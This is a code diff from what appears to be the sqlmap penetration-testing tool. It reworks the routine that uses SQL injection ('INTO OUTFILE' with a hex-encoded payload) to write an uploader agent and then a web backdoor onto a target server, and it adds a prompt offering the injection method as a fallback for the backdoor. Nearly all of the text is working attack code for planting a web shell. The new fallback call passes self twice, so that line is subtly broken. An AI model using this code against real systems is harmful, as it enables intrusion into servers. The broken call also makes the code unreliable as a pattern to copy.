@@ -92,9 +92,12 @@ def __webFileStreamUpload(self, stream, destFileName, directory):
9292 "file" : stream ,
9393 "uploadDir" : directory ,
9494 }
95-
95+
9696 page = Request .getPage (url = self .webUploaderUrl , multipart = multipartParams , raise404 = False )
9797
98+ if stream :
99+ stream .seek (0 )
100+
98101 if "File uploaded" not in page :
99102 warnMsg = "unable to upload the backdoor through "
100103 warnMsg += "the uploader agent on '%s'" % directory
@@ -106,6 +109,16 @@ def __webFileStreamUpload(self, stream, destFileName, directory):
106109 elif self .webApi == "jsp" :
107110 return False
108111
112+ def __webFileInject (self , fileContent , fileName , directory ):
113+ outFile = normalizePath ("%s/%s" % (directory , fileName ))
114+ uplQuery = fileContent .replace ("WRITABLE_DIR" , directory .replace ('/' , '\\ \\ ' ) if kb .os == "Windows" else directory )
115+ query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
116+ query += "LINES TERMINATED BY 0x%s --" % hexencode (uplQuery )
117+ query = agent .prefixQuery (" %s" % query )
118+ query = agent .postfixQuery (query )
119+ payload = agent .payload (newValue = query )
120+ page = Request .queryPage (payload )
121+
109122 def webInit (self ):
110123 """
111124 This method is used to write a web backdoor (agent) on a writable
@@ -155,20 +168,15 @@ def webInit(self):
155168
156169 backdoorName = "backdoor.%s" % self .webApi
157170 backdoorStream = decloakToNamedTemporaryFile (os .path .join (paths .SQLMAP_SHELL_PATH , backdoorName + '_' ), backdoorName )
171+ backdoorContent = backdoorStream .read ()
172+ backdoorStream .seek (0 )
158173
159174 uploaderName = "uploader.%s" % self .webApi
160175 uploaderContent = decloak (os .path .join (paths .SQLMAP_SHELL_PATH , uploaderName + '_' ))
161176
162177 for directory in directories :
163178 # Upload the uploader agent
164- outFile = normalizePath ("%s/%s" % (directory , uploaderName ))
165- uplQuery = uploaderContent .replace ("WRITABLE_DIR" , directory .replace ('/' , '\\ \\ ' ) if kb .os == "Windows" else directory )
166- query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
167- query += "LINES TERMINATED BY 0x%s --" % hexencode (uplQuery )
168- query = agent .prefixQuery (" %s" % query )
169- query = agent .postfixQuery (query )
170- payload = agent .payload (newValue = query )
171- page = Request .queryPage (payload )
179+ self .__webFileInject (uploaderContent , uploaderName , directory )
172180
173181 requestDir = ntToPosixSlashes (directory ).replace (ntToPosixSlashes (kb .docRoot ), "/" ).replace ("//" , "/" )
174182 if isWindowsPath (requestDir ):
@@ -178,7 +186,7 @@ def webInit(self):
178186 self .webUploaderUrl = "%s/%s" % (self .webBaseUrl , uploaderName )
179187 self .webUploaderUrl = ntToPosixSlashes (self .webUploaderUrl .replace ("./" , "/" ))
180188 uplPage , _ = Request .getPage (url = self .webUploaderUrl , direct = True , raise404 = False )
181-
189+
182190 if "sqlmap file uploader" not in uplPage :
183191 warnMsg = "unable to upload the uploader "
184192 warnMsg += "agent on '%s'" % directory
@@ -193,12 +201,22 @@ def webInit(self):
193201 if kb .os == "Windows" :
194202 directory = posixToNtSlashes (directory )
195203
196- if self .__webFileStreamUpload (backdoorStream , backdoorName , directory ):
197- self .webBackdoorUrl = "%s/%s" % (self .webBaseUrl , backdoorName )
198- self .webDirectory = directory
199- infoMsg = "the backdoor has probably been successfully "
200- infoMsg += "uploaded on '%s', go with your browser " % directory
201- infoMsg += "to '%s' and enjoy it!" % self .webBackdoorUrl
202- logger .info (infoMsg )
204+ if not self .__webFileStreamUpload (backdoorStream , backdoorName , directory ):
205+ message = "backdoor hasn't been successfully uploaded "
206+ message += "with uploader probably because of permission "
207+ message += "issues. do you want to try the same method used "
208+ message += "for uploader? [y/N] "
209+ getOutput = readInput (message , default = "N" )
210+ if getOutput in ("y" , "Y" ):
211+ self .__webFileInject (self , backdoorContent , backdoorName , directory )
212+ else :
213+ continue
214+
215+ self .webBackdoorUrl = "%s/%s" % (self .webBaseUrl , backdoorName )
216+ self .webDirectory = directory
217+ infoMsg = "the backdoor has probably been successfully "
218+ infoMsg += "uploaded on '%s', go with your browser " % directory
219+ infoMsg += "to '%s' and enjoy it!" % self .webBackdoorUrl
220+ logger .info (infoMsg )
203221
204222 break
0 commit comments